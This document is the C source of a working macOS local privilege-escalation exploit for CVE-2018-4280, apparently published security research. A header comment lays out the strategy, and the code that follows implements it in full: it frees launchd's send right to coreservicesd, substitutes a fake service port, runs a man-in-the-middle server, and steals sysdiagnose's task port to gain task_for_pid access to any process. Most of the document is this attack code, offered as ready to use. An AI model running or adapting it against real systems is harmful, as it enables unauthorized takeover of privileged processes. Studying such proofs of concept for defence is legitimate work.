README.md
Rendering markdown...
/*
* launchd-portrep
* Brandon Azad
*
* CVE-2018-4280
*
*
* Exploit strategy to get task_for_pid-allow
* ------------------------------------------------------------------------------------------------
*
* This bug is a less general version of CVE-2016-7637, a Mach port user reference handling issue
* in XNU discovered by Ian Beer that allowed processes to free Mach ports in other processes [1].
* Ian Beer exploited that vulnerability on macOS by replacing launchd's send right to the
* com.apple.CoreServices.coreservicesd endpoint and impersonating coreservicesd to the rest of
* the system. Coreservicesd is an attractive target because it is one of a few services to which
* clients will send their task port in a Mach message. By replacing launchd's send right to
* coreservicesd with his own port and then triggering privileged clients to look up and
* communicate with coreservicesd, he was able to obtain the task port for a privileged process
* and then execute code within that process.
*
* [1]: https://bugs.chromium.org/p/project-zero/issues/detail?id=959
*
* Since the behavior on macOS hasn't changed, I basically copied Ian Beer's exploit strategy for
* this vulnerability. We send exception messages to launchd containing coreservicesd's service
* port until we free launchd's send right to that port. We can detect when we've freed the right
* by calling bootstrap_look_up() again on the service: if launchd returns an invalid port name,
* then we've successfully freed launchd's send right to the port. Then, we repeatedly register
* and unregister a large number of services with launchd until one of the services we register is
* assigned the same Mach port name in launchd's IPC space as the original coreservicesd port. At
* this point, any process that looks up com.apple.CoreServices.coreservicesd in launchd will
* receive a send right to our fake service rather than the real coreservicesd. We then run a MITM
* server on the fake service port, inspecting all Mach ports in the messages received from
* clients before sending them along to the real coreservicesd. At this point we send a message to
* sysdiagnose causing it to run a tailspin, which causes sysdiagnose to connect to our fake
* coreservicesd port and send us its task port. Since sysdiagnose has the task_for_pid-allow
* entitlement, we can now get the task port for any process.
*
* In order to (mostly) restore proper functioning of the system, we use sysdiagnose to obtain
* launchd's task port, and then use launchd's task port to replace launchd's send right to our
* fake service port back with a send right to the real coreservicesd. That way future clients can
* actually reach coreservicesd.
*
* One problem I've noticed with this approach is that the system seems to hang on shutdown for a
* short while. I'm assuming that this is because tampering with launchd's ports messes up some of
* launchd's accounting or port notifications. I haven't investigated this issue further, but
* restarting coreservicesd using launchctl seems to fix it:
*
* $ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
*
*/
#include "exploit.h"
#include "launchd_portrep.h"
#include "log.h"
#include <assert.h>
#include <bootstrap.h>
#include <dispatch/dispatch.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <stdio.h>
#include <stdlib.h>
// ---- Mach messaging ----------------------------------------------------------------------------
// Receive a mach message on a port and pass it to the specified handler block.
static bool
mach_receive_message(mach_port_t port, mach_msg_timeout_t timeout,
void (^handler)(mach_msg_header_t *msg)) {
kern_return_t kr;
// Loop until we get the buffer size right.
mach_msg_header_t *msg;
size_t msg_size = 0x1000;
mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE
| MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
| MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT);
if (timeout != MACH_MSG_TIMEOUT_NONE) {
options |= MACH_RCV_TIMEOUT;
}
for (;;) {
// Allocate a buffer for the message.
msg = malloc(msg_size);
assert(msg != NULL);
// Try to receive the message.
kr = mach_msg(msg,
options,
0,
(mach_msg_size_t) msg_size,
port,
timeout,
MACH_PORT_NULL);
if (kr != MACH_RCV_TOO_LARGE) {
break;
}
// Allocate a bigger message buffer next time. This should only happen once, if the
// kernel doesn't like to us.
free(msg);
msg_size = msg->msgh_size + REQUESTED_TRAILER_SIZE(options);
}
// Handle any errors.
if (kr != KERN_SUCCESS) {
goto done;
}
// Process the message.
handler(msg);
done:
free(msg);
return (kr == KERN_SUCCESS);
}
// Send a Mach message.
static bool
mach_send_message(mach_msg_header_t *msg) {
kern_return_t kr = mach_msg(msg,
MACH_SEND_MSG,
msg->msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
ERROR("%s: 0x%x", "mach_msg", kr);
}
return (kr == KERN_SUCCESS);
}
// Get the PID from a Mach message sent with an audit trailer.
static pid_t
mach_message_get_pid(mach_msg_header_t *msg) {
mach_msg_audit_trailer_t *trailer = (void *) ((uint8_t *)msg + msg->msgh_size);
return trailer->msgh_audit.val[5];
}
// ---- Mach MITM server --------------------------------------------------------------------------
// Translate a right type sent in a Mach message so that the port is sent along to the destination.
static mach_msg_type_name_t
mach_mitm_forward_right_type(mach_msg_type_name_t right_type) {
switch (right_type) {
case MACH_MSG_TYPE_PORT_RECEIVE: return MACH_MSG_TYPE_MOVE_RECEIVE;
case MACH_MSG_TYPE_PORT_SEND: return MACH_MSG_TYPE_MOVE_SEND;
case MACH_MSG_TYPE_PORT_SEND_ONCE: return MACH_MSG_TYPE_MOVE_SEND_ONCE;
default: return 0;
}
}
// Translate a descriptor sent in a Mach message so that all resources are sent along to the
// destination.
static mach_msg_type_descriptor_t *
mach_mitm_forward_descriptor(mach_msg_type_descriptor_t *descriptor) {
mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)descriptor;
void *next = descriptor + 1;
switch (d->type.type) {
case MACH_MSG_PORT_DESCRIPTOR:
d->port.disposition = mach_mitm_forward_right_type(d->port.disposition);
next = &d->port + 1;
break;
case MACH_MSG_OOL_DESCRIPTOR:
case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
d->out_of_line.deallocate = 1;
next = &d->out_of_line + 1;
break;
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
d->ool_ports.deallocate = 1;
d->ool_ports.disposition = mach_mitm_forward_right_type(d->ool_ports.disposition);
next = &d->ool_ports + 1;
break;
}
return next;
}
// Process an inbound message on our fake service port so that it can be sent over to the real
// service port.
static void
mach_mitm_modify_for_forwarding(mach_msg_header_t *msg, mach_port_t real_service) {
// Modify the message so that the service will reply directly to the client. We can't
// actually fool the service into thinking that we have the UID/PID/etc. of the true client
// because the audit token (set by the kernel) will tell them who we are, but we will fool
// the client into thinking they're talking with the true service.
mach_msg_type_name_t client_remote_right = MACH_MSGH_BITS_REMOTE(msg->msgh_bits);
mach_msg_type_name_t client_voucher_right = MACH_MSGH_BITS_VOUCHER(msg->msgh_bits);
mach_msg_bits_t other_bits = MACH_MSGH_BITS_OTHER(msg->msgh_bits);
bool is_complex = MACH_MSGH_BITS_IS_COMPLEX(msg->msgh_bits);
mach_port_t client_port = msg->msgh_remote_port;
mach_msg_type_name_t new_remote_right = MACH_MSG_TYPE_COPY_SEND;
mach_msg_type_name_t new_local_right = mach_mitm_forward_right_type(client_remote_right);
mach_msg_type_name_t new_voucher_right = mach_mitm_forward_right_type(client_voucher_right);
msg->msgh_bits = MACH_MSGH_BITS_SET(new_remote_right, new_local_right, new_voucher_right, other_bits);
msg->msgh_remote_port = real_service;
msg->msgh_local_port = client_port;
if (is_complex) {
mach_msg_body_t *body = (mach_msg_body_t *)(msg + 1);
mach_msg_type_descriptor_t *descriptor = (mach_msg_type_descriptor_t *)(body + 1);
for (size_t i = 0; i < body->msgh_descriptor_count; i++) {
descriptor = mach_mitm_forward_descriptor(descriptor);
}
}
}
// Create a MIG error response for the given message. The reply struct should be zeroed beforehand.
static void
mach_mig_create_error(mach_msg_header_t *request, mig_reply_error_t *reply, kern_return_t kr) {
reply->Head.msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSGH_BITS_REMOTE(request->msgh_bits), 0, 0);
reply->Head.msgh_size = sizeof(*reply);
reply->Head.msgh_remote_port = request->msgh_remote_port;
reply->Head.msgh_id = request->msgh_id + 100;
reply->NDR = NDR_record;
reply->RetCode = kr;
}
// The type of a Mach message handler function.
typedef bool (^mach_mitm_server_message_handler_t)(mach_msg_header_t *msg);
// Run the MITM server to process a single message.
static bool
mach_mitm_server_once(mach_port_t real_service, mach_port_t fake_service,
mach_mitm_server_message_handler_t handle_message) {
return mach_receive_message(fake_service, MACH_MSG_TIMEOUT_NONE,
^(mach_msg_header_t *msg) {
// Create a reply struct in case sending doesn't work.
mig_reply_error_t error_reply = {};
mach_mig_create_error(msg, &error_reply, KERN_FAILURE);
// Pass the message to the handler function. This function will indicate whether
// we should forward the message or abort the connection.
bool forward = handle_message(msg);
// If we should forward the message, try to do so.
bool sent = false;
if (forward) {
DEBUG_TRACE(2, "Forwarding message 0x%x", msg->msgh_id);
mach_mitm_modify_for_forwarding(msg, real_service);
sent = mach_send_message(msg);
}
// If we haven't sent the message (either because the message handler told us not
// to or because the send to failed), send an error reply to the client.
if (!sent) {
sent = mach_send_message(&error_reply.Head);
// Note that the error reply message consumes the remote port in the
// original message, so we don't want to free that again.
if (sent) {
msg->msgh_remote_port = MACH_PORT_NULL;
}
mach_msg_destroy(msg);
}
});
}
// Run the MITM server in a loop until we encounter an error.
static void
mach_mitm_server(mach_port_t real_service, mach_port_t fake_service,
mach_mitm_server_message_handler_t handle_message) {
bool ok;
do {
ok = mach_mitm_server_once(real_service, fake_service, handle_message);
} while (ok);
}
// ---- Mach message inspection -------------------------------------------------------------------
// Inspect all the Mach ports in a Mach message descriptor.
static mach_msg_type_descriptor_t *
mach_descriptor_inspect_ports(mach_msg_type_descriptor_t *descriptor,
bool (^inspect_port)(mach_port_t)) {
mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)descriptor;
mach_port_t port;
void *next = descriptor + 1;
switch (d->type.type) {
case MACH_MSG_PORT_DESCRIPTOR:
port = d->port.name;
if (MACH_PORT_VALID(port)) {
if (inspect_port(port)) {
return NULL;
}
}
next = &d->port + 1;
break;
case MACH_MSG_OOL_DESCRIPTOR:
case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
next = &d->out_of_line + 1;
break;
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
next = &d->ool_ports + 1;
mach_port_t *ports = (mach_port_t *)d->ool_ports.address;
mach_port_t *end = ports + d->ool_ports.count;
for (; ports < end; ports++) {
port = *ports;
if (MACH_PORT_VALID(port)) {
if (inspect_port(port)) {
return NULL;
}
}
}
break;
}
return next;
}
// Inspect all the Mach ports in a Mach message (except for msgh_local_port).
static void
mach_message_inspect_ports(mach_msg_header_t *msg, bool (^inspect_port)(mach_port_t)) {
if (MACH_PORT_VALID(msg->msgh_remote_port)) {
if (inspect_port(msg->msgh_remote_port)) {
return;
}
}
if (MACH_MSGH_BITS_IS_COMPLEX(msg->msgh_bits)) {
mach_msg_body_t *body = (mach_msg_body_t *)(msg + 1);
mach_msg_type_descriptor_t *descriptor = (mach_msg_type_descriptor_t *)(body + 1);
for (size_t i = 0; descriptor != NULL && i < body->msgh_descriptor_count; i++) {
descriptor = mach_descriptor_inspect_ports(descriptor, inspect_port);
}
}
}
// ---- Task manipulation -------------------------------------------------------------------------
// Get the port name for a Mach port, which must be a send right, held in a task. This routine is a
// hack: There's no API to do this directly, so we gather the list of Mach port names in the task
// and test every one individually to see if it's a match.
static kern_return_t
task_get_send_right_name(task_t task, mach_port_t port, mach_port_name_t *port_name) {
// First get all the names.
mach_port_name_array_t names;
mach_msg_type_number_t name_count;
mach_port_type_array_t types;
mach_msg_type_number_t type_count;
kern_return_t kr = mach_port_names(task, &names, &name_count, &types, &type_count);
if (kr != KERN_SUCCESS) {
ERROR("%s: 0x%x", "mach_port_names", kr);
goto fail_0;
}
// Next try to insert the local port into the task's IPC namespace under every possible
// port name. We do it this way rather than extracting to avoid an extra dealloc every time
// we miss, even though that also means we may mistakenly insert the port into the task's
// IPC namespace if it wasn't already there. (We know it'll be there for this exploit.)
// mach_port_insert_right may return:
// KERN_SUCCESS: Either the port didn't already exist in the task and the original
// port with this name was freed since we called mach_port_names, or
// we have found the correct port name. In either case, the name now
// refers to the port.
// KERN_NAME_EXISTS: The name exists in the task and it's not the target port. Keep
// searching.
// KERN_RIGHT_EXISTS: The name does not exist in the task, but port has a different name
// in the task. Keep searching.
for (size_t i = 0; i < name_count; i++) {
// Skip it if it isn't a pure send right.
if ((types[i] & MACH_PORT_TYPE_ALL_RIGHTS) != MACH_PORT_TYPE_SEND) {
continue;
}
// Try to insert it.
kern_return_t kr2 = mach_port_insert_right(task, names[i], port,
MACH_MSG_TYPE_COPY_SEND);
switch (kr2) {
case KERN_SUCCESS:
*port_name = names[i];
goto port_inserted;
case KERN_NAME_EXISTS:
case KERN_RIGHT_EXISTS:
break;
default:
kr = kr2;
ERROR("%s: 0x%x", "mach_port_insert_right", kr);
goto fail_1;
}
}
// The right doesn't seem to exist in the task.
ERROR("Not found");
kr = KERN_INVALID_VALUE;
goto fail_1;
port_inserted:
fail_1:
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) names,
name_count * sizeof(*names));
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) types,
type_count * sizeof(*types));
fail_0:
return kr;
}
// Replace a Mach send right in a task with a different send right.
static kern_return_t
task_replace_send_right(task_t task, mach_port_name_t port_name, mach_port_t new_port) {
// First deallocate the port name in the task.
kern_return_t kr = mach_port_destroy(task, port_name);
if (kr != KERN_SUCCESS) {
ERROR("%s: 0x%x", "mach_port_destroy", kr);
goto fail_0;
}
// Now insert the new port into the task under the original name.
kr = mach_port_insert_right(task, port_name, new_port, MACH_MSG_TYPE_COPY_SEND);
if (kr != KERN_SUCCESS) {
// Whoops. Sorry. Can't really fix it.
ERROR("%s: 0x%x", "mach_port_insert_right", kr);
}
fail_0:
return kr;
}
// ---- Threadexec routines -----------------------------------------------------------------------
#define ERROR_REMOTE_CALL(fn) \
ERROR("Could not call %s in remote task", #fn)
#define ERROR_REMOTE_CALL_RETURN(fn, fmt, ret) \
ERROR("Remote call to %s returned "fmt, #fn, ret)
// Call task_for_pid in the threadexec task.
static bool
threadexec_task_for_pid_remote(threadexec_t threadexec, pid_t pid, mach_port_t *task_remote) {
kern_return_t kr;
bool ok = threadexec_call_cv(threadexec, &kr, sizeof(kr),
task_for_pid, 3,
TX_CARG_LITERAL(mach_port_t, threadexec_task_remote(threadexec)),
TX_CARG_LITERAL(int, pid),
TX_CARG_PTR_LITERAL_OUT(mach_port_t *, task_remote));
if (!ok) {
ERROR_REMOTE_CALL(task_for_pid);
return false;
}
if (kr != KERN_SUCCESS) {
ERROR_REMOTE_CALL_RETURN(task_for_pid, "%u", kr);
return false;
}
return true;
}
// Call task_for_pid in the threadexec task and copy the port to the local task.
static bool
threadexec_task_for_pid_local_and_remote(threadexec_t threadexec, pid_t pid,
mach_port_t *task_l, mach_port_t *task_r) {
// Get the task port for the process in the remote task.
mach_port_t task_r0;
bool ok = threadexec_task_for_pid_remote(threadexec, pid, &task_r0);
if (!ok) {
goto fail_0;
}
// Copy the task port locally.
ok = threadexec_mach_port_extract(threadexec, task_r0, task_l, MACH_MSG_TYPE_COPY_SEND);
if (!ok) {
ERROR("Could not copy task port locally");
goto fail_1;
}
// Success.
*task_r = task_r0;
return true;
fail_1:
threadexec_mach_port_deallocate(threadexec, task_r0);
fail_0:
return false;
}
// Call task_for_pid in the threadexec task and move the returned task port to the local task.
bool
threadexec_task_for_pid(threadexec_t threadexec, pid_t pid, mach_port_t *task) {
mach_port_t task_r;
bool success = threadexec_task_for_pid_local_and_remote(threadexec, pid, task, &task_r);
if (!success) {
return false;
}
threadexec_mach_port_deallocate(threadexec, task_r);
return true;
}
// ---- Exploit logic -----------------------------------------------------------------------------
// Launch a sysdiagnose tailspin, which will cause sysdiagnose to interact with coreservicesd.
static bool
start_sysdiagnose_tailspin(pid_t *pid) {
const char *SYSDIAGNOSE_KERNEL_PORT_NAME = "com.apple.sysdiagnose.kernel.ipc";
bool success = false;
mach_port_t sysdiagnose_port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, SYSDIAGNOSE_KERNEL_PORT_NAME,
&sysdiagnose_port);
if (kr != KERN_SUCCESS) {
ERROR("Could not get sysdiagnose port: %d", kr);
goto fail_0;
}
union {
struct {
mach_msg_header_t Head;
NDR_record_t NDR;
int32_t keychord;
} msg;
struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_audit_trailer_t trailer;
} reply;
} u = {};
u.msg.Head.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0);
u.msg.Head.msgh_size = sizeof(u.msg);
u.msg.Head.msgh_remote_port = sysdiagnose_port;
u.msg.Head.msgh_local_port = mig_get_reply_port();
u.msg.Head.msgh_id = 31337;
u.msg.NDR = NDR_record;
u.msg.keychord = 54;
kr = mach_msg(&u.msg.Head,
MACH_SEND_MSG | MACH_RCV_MSG
| MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
| MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT),
u.msg.Head.msgh_size,
sizeof(u.reply),
u.msg.Head.msgh_local_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
ERROR("Could not send tailspin message to sysdiagnose");
goto fail_1;
}
*pid = mach_message_get_pid(&u.reply.Head);
success = true;
fail_1:
mach_port_deallocate(mach_task_self(), sysdiagnose_port);
fail_0:
return success;
}
// Fix the mess we've made in launchd. Since we freed the original service, we'll want to restore
// the original port name to refer back to the real service. I'm not sure if the exploit also
// disrupted the port notifications or any other state, but we won't worry about that.
static bool
restore_launchd_service(threadexec_t threadexec,
mach_port_t real_service, mach_port_t fake_service) {
bool success = false;
// Get launchd's task port.
mach_port_t launchd_task;
bool ok = threadexec_task_for_pid(threadexec, 1, &launchd_task);
if (!ok) {
ERROR("Could not get launchd's task port");
goto fail_0;
}
// Get the name of the service port in launchd's IPC space.
mach_port_name_t service_port_name;
kern_return_t kr = task_get_send_right_name(launchd_task, fake_service,
&service_port_name);
if (kr != KERN_SUCCESS) {
ERROR("Could not find the Mach port name of the service port we freed in launchd");
goto fail_1;
}
// Now replace the fake service back with the real service.
kr = task_replace_send_right(launchd_task, service_port_name, real_service);
if (kr != KERN_SUCCESS) {
ERROR("Could not restore original service Mach port in launchd");
goto fail_1;
}
// Add a reference because launchd services tend to have 2 urefs.
kr = mach_port_mod_refs(launchd_task, service_port_name, MACH_PORT_RIGHT_SEND, 1);
if (kr != KERN_SUCCESS) {
ERROR("Could not add a ref to the restored Mach service");
}
success = true;
fail_1:
mach_port_deallocate(mach_task_self(), launchd_task);
fail_0:
return success;
}
threadexec_t
exploit() {
const char *CORESERVICESD_SERVICE_NAME = "com.apple.CoreServices.coreservicesd";
// Replace launchd's send right to the coreservicesd service with a fake service port.
mach_port_t real_coreservicesd, fake_coreservicesd;
bool ok = launchd_replace_service_port(CORESERVICESD_SERVICE_NAME,
&real_coreservicesd, &fake_coreservicesd);
if (!ok) {
return MACH_PORT_NULL;
}
// Launch sysdiagnose and make it perform a tailspin so that it tries to interact with
// coreservicesd. This will cause sysdiagnose to send its task port to coreservicesd, which
// is useful because sysdiagnose is task_for_pid-allow. Any messages it sends will be
// queued on the fake service port, so it's fine to spawn it before starting the MITM
// server.
//
// While it may appear otherwise, there is no race condition here: sysdiagnose will reply
// to the launch message and asynchronously start the tailspin. If the tailspin arrives
// first, it will send a message to the fake coreservicesd port and block, allowing the
// reply to the original launch notification message to complete first.
pid_t sysdiagnose_pid = -1;
ok = start_sysdiagnose_tailspin(&sysdiagnose_pid);
if (ok) {
INFO("Sysdiagnose has PID %d", sysdiagnose_pid);
} else {
WARNING("Could not launch sysdiagnose");
}
// Now run a MITM server on the fake coreservicesd port, on which we will receive
// connections from clients attempting to reach the real coreservicesd service. Allow
// messages through unless they seem likely to cause a crash later.
mach_port_t host_self = mach_host_self();
__block threadexec_t sysdiagnose_tx = NULL;
__block bool fixed = false;
mach_mitm_server(real_coreservicesd, fake_coreservicesd, ^bool (mach_msg_header_t *msg) {
// Print the contents of the message.
#if DEBUG_LEVEL(3)
printf("\nNew message:\n");
size_t print_size = msg->msgh_size + sizeof(mach_msg_trailer_t);
size_t print_end = print_size / sizeof(uint32_t);
for (size_t i = 0; i < print_end; i++) {
int is_eol = (i % 4 == 3 || i == print_end - 1);
printf("%08x%c", ((uint32_t *) msg)[i], (is_eol ? '\n' : ' '));
}
#endif
assert(sysdiagnose_tx == NULL);
// Reject all messages that do not pertain to coreservicesd.
pid_t sender_pid = mach_message_get_pid(msg);
if (sender_pid != sysdiagnose_pid) {
DEBUG_TRACE(2, "Rejecting message from PID %d", sender_pid);
return false;
}
// Inspect the message to see if it contains the sysdiagnose task.
__block mach_port_t sysdiagnose_task = MACH_PORT_NULL;
mach_message_inspect_ports(msg, ^bool (mach_port_t port) {
int pid = -2;
pid_for_task(port, &pid);
if (pid == sysdiagnose_pid) {
sysdiagnose_task = port;
return true;
}
return false;
});
// If we just got the sysdiagnose task port, perform the actual exploit.
if (sysdiagnose_task != MACH_PORT_NULL) {
INFO("Found sysdiagnose task port 0x%x", sysdiagnose_task);
// Create a threadexec for sysdiagnose.
sysdiagnose_tx = threadexec_init(sysdiagnose_task, MACH_PORT_NULL,
TX_SUSPEND_THREADS | TX_KILL_TASK);
if (sysdiagnose_tx == NULL) {
ERROR("Could not create execution context in sysdiagnose");
} else {
// Add a reference count to the sysdiagnose_task port.
mach_port_mod_refs(mach_task_self(), sysdiagnose_task,
MACH_PORT_RIGHT_SEND, 1);
// Repair the damage we did to launchd by restoring the original
// coreservicesd port.
DEBUG_TRACE(1, "Fixing exploit damage");
fixed = restore_launchd_service(sysdiagnose_tx,
real_coreservicesd, fake_coreservicesd);
}
// Destroy the fake service port, which will prevent us from getting new
// connections and break us out of the MITM server loop.
DEBUG_TRACE(2, "Destroying fake service port");
mach_port_destroy(mach_task_self(), fake_coreservicesd);
// Don't MITM the message.
return false;
}
// Now reject messages with id 0x2715 (the one with the task port) and 0x2720
// (which seems to be related to apps crashing).
return (msg->msgh_id != 0x2715 && msg->msgh_id != 0x2720);
});
// Clean up ports we no longer need.
mach_port_deallocate(mach_task_self(), host_self);
mach_port_deallocate(mach_task_self(), real_coreservicesd);
// Warn if we couldn't repair the system.
if (!fixed) {
ERROR("Could not fix the damage from the exploit!");
ERROR("The system may be unstable!");
}
return sysdiagnose_tx;
}